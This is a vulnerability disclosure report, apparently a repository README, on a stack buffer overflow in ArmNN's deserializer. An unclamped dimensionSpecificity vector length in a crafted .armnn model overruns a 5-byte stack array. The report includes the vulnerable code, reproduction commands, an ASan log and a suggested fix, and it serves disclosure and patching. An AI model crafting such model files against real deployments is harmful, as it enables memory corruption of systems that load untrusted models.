EnigmaConsultant's picture
Upload folder using huggingface_hub
2dc7174 verified
|
Raw
History Blame Contribute Delete
8.31 kB

ArmNN Deserializer β€” Stack Buffer Overflow via TensorInfo.dimensionSpecificity (CWE-121)

Summary

ARM-software/armnn's native model-file parser (armnnDeserializer, src/armnnDeserializer/Deserializer.cpp) deserializes .armnn FlatBuffers model files. The free function armnnDeserializer::ToTensorInfo() (Deserializer.cpp, around line 743-760) decodes every TensorInfo table that appears anywhere in a model file (every layer's input/output tensor descriptors, constant tensors, etc.) and copies the optional dimensionSpecificity FlatBuffers vector into a fixed 5-element stack array:

auto dimensions = tensorPtr->dimensions();
unsigned int size = dimensions->size();
std::vector<unsigned int> outputDims(dimensions->begin(), dimensions->begin() + size);
bool dimensionsSpecificity[armnn::MaxNumOfTensorDimensions];   // stack array, size == 5
std::fill_n(dimensionsSpecificity, armnn::MaxNumOfTensorDimensions, true);
if (tensorPtr->dimensionSpecificity() != nullptr)
{
    auto dimensionSpecificity = tensorPtr->dimensionSpecificity();
    size = dimensionSpecificity->size();          // <-- attacker-controlled length, NOT clamped
    for (unsigned int i = 0; i < size; ++i)
    {
        dimensionsSpecificity[i] = dimensionSpecificity->Get(i);   // <-- OOB WRITE once i >= 5
    }
}

armnn::MaxNumOfTensorDimensions is 5 (include/armnn/Types.hpp). The loop bound size is taken directly from the length of the attacker-supplied dimensionSpecificity FlatBuffers vector, with no check against the fixed stack buffer size. Any TensorInfo in the model file whose dimensionSpecificity vector has more than 5 elements causes the loop to write attacker-controlled boolean bytes (each element is the raw byte from the file, coerced to bool) past the end of the 5-byte stack array, corrupting adjacent stack memory (other stack locals, saved registers, padding, and β€” depending on compiler/stack layout/optimization level β€” potentially the return address) for as many bytes as the attacker declares the vector to be (we tested 40 bytes in the PoC; the vector length field is a FlatBuffers uint32 count, so far larger overflows are possible in a single call).

ToTensorInfo() is called from nearly every layer parser in the file (ParseFloor, ParseAdd, ParseActivation, ParseConvolution2d, ... β€” over 50 call sites), so this is reachable through essentially any .armnn model that contains an Input/Output/any-layer TensorInfo with a crafted dimensionSpecificity field. This PoC uses the simplest possible layer (FloorLayer) to reach it via a single output slot's TensorInfo.

Attacker input β†’ sink

  1. Application loads an untrusted .armnn model file with armnnDeserializer::IDeserializer::CreateNetworkFromBinary() β€” the standard, documented entry point used by ExecuteNetwork and any ArmNN-based downstream integrator that accepts serialized ArmNN models.
  2. CreateNetworkFromGraph() walks graph->layers() and dispatches each layer to its parser function (Deserializer.cpp:927-937).
  3. The crafted FloorLayer's output slot carries a TensorInfo whose dimensionSpecificity vector has 40 elements (dimensions only has 1).
  4. ParseFloor() (Deserializer.cpp:2253) calls ToTensorInfo(outputs[0]).
  5. ToTensorInfo() writes 40 bytes into a 5-byte stack array (Deserializer.cpp:756) β†’ stack-buffer-overflow.

Reproduction

Built at ArmNN commit (see ARMNN_COMMIT.txt), 2026-07-02, current main HEAD at time of testing.

# 1. Generate ArmnnSchema_generated.h and build armnnDeserializer + armnn
#    (core, no backends needed) with ASan, NDEBUG (Release-like, matches
#    real deployment: flatbuffers' internal asserts are compiled out):
cmake -S armnn -B build -G Ninja \
  -DBUILD_ARMNN_DESERIALIZER=ON -DBUILD_UNIT_TESTS=OFF -DBUILD_TESTS=OFF \
  -DBUILD_ONNX_PARSER=OFF -DBUILD_TF_LITE_PARSER=OFF -DBUILD_ARMNN_SERIALIZER=OFF \
  -DFLATC_DIR=/usr/bin -DFLATBUFFERS_LIBRARY=<path-to-libflatbuffers.so> \
  -DFLATBUFFERS_INCLUDE_PATH=<flatbuffers-include-dir> \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1 -DNDEBUG" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
ninja -C build armnnDeserializer

# 2. Compile this harness against the just-built libraries (same compiler,
#    e.g. g++, as used for the library, to avoid mixed ASan runtimes):
g++ -std=c++17 -fsanitize=address -g -O1 -DNDEBUG \
  -I armnn/include -I armnn/src/armnnUtils -I armnn/generated \
  -I <flatbuffers-include-dir> \
  harness.cpp -L build -Wl,-rpath,build -larmnnDeserializer -larmnn -o harness

# 3. Craft the model file (already provided as poc_floor_stackoverflow.armnn,
#    built from poc_floor_stackoverflow.json via):
flatc -b armnn/src/armnnSerializer/ArmnnSchema.fbs poc_floor_stackoverflow.json

# 4. Run:
LD_LIBRARY_PATH=build ASAN_OPTIONS=detect_leaks=0 ./harness poc_floor_stackoverflow.armnn

Observed result (real evidence, not theoretical)

AddressSanitizer reports a stack-buffer-overflow WRITE of size 1, directly at the vulnerable line, with a clean call stack from the public CreateNetworkFromBinary API down to the vulnerable write:

==420219==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b4d36bf1885 ...
WRITE of size 1 at 0x7b4d36bf1885 thread T0
    #0 ... armnnDeserializer::ToTensorInfo(armnnSerializer::TensorInfo const*) Deserializer.cpp:756
    #1 ... armnnDeserializer::IDeserializer::DeserializerImpl::ParseFloor(...) Deserializer.cpp:2253
    #2 ... armnnDeserializer::IDeserializer::DeserializerImpl::CreateNetworkFromGraph(...) Deserializer.cpp:934
    #3 ... armnnDeserializer::IDeserializer::DeserializerImpl::CreateNetworkFromBinary(...) Deserializer.cpp:882
    #4 ... armnnDeserializer::IDeserializer::CreateNetworkFromBinary(...) Deserializer.cpp:59
    #5 ... main harness.cpp:29
...
Address 0x7b4d36bf1885 is located in stack of thread T0 at offset 133 in frame
    #0 ... armnnDeserializer::ToTensorInfo(...) Deserializer.cpp:679
  ...
    [128, 133) 'dimensionsSpecificity' (line 746) <== Memory access at offset 133 overflows this variable

Full log: asan_crash_log.txt.

Dedup / prior-art check

  • git blame shows this exact code has been present, unmodified in the relevant lines, since commit 800b281e50 (2021-02-12) β€” over 5 years, and is still present at the current main HEAD (2b61cecc9d, 2026-07-02).
  • No matching GitHub issue, PR, security advisory, or CVE for ArmNN mentions dimensionSpecificity, ToTensorInfo, or a deserializer stack overflow. The only related public fix we found (a heap overflow in SpaceToBatchND input-type validation) is in the separate armnnTfLiteParser component (TensorFlow Lite import), not armnnDeserializer (ArmNN's own native FlatBuffers format), and concerns input-type validation, not tensor-shape/stack handling.
  • Distinct root cause from the companion padList/crops heap-overflow finding filed alongside this one (different function, different bug class β€” fixed-size stack buffer overflow vs. unsigned-integer-underflow driven heap OOB read).

Suggested fix

Clamp the loop bound to armnn::MaxNumOfTensorDimensions (and reject/throw a ParseException if dimensionSpecificity->size() > armnn::MaxNumOfTensorDimensions, mirroring the pattern already used elsewhere in this file for other size-mismatch checks).

Files

  • poc_floor_stackoverflow.json β€” human-readable FlatBuffers JSON for the crafted model (one InputLayer, one FloorLayer whose output TensorInfo.dimensionSpecificity has 40 entries vs. a 5-element stack buffer).
  • poc_floor_stackoverflow.armnn β€” the compiled crafted model file (flatc -b ArmnnSchema.fbs poc_floor_stackoverflow.json).
  • harness.cpp β€” minimal driver that calls the real, unmodified armnnDeserializer::IDeserializer::CreateNetworkFromBinary() API on a file path given on the command line.
  • ArmnnSchema.fbs β€” copy of the exact schema used (from the tested commit), needed to regenerate the .armnn file with flatc.
  • asan_crash_log.txt β€” full AddressSanitizer report from running the harness against the PoC file.
  • ARMNN_COMMIT.txt β€” the exact ARM-software/armnn commit hash this was built and tested against.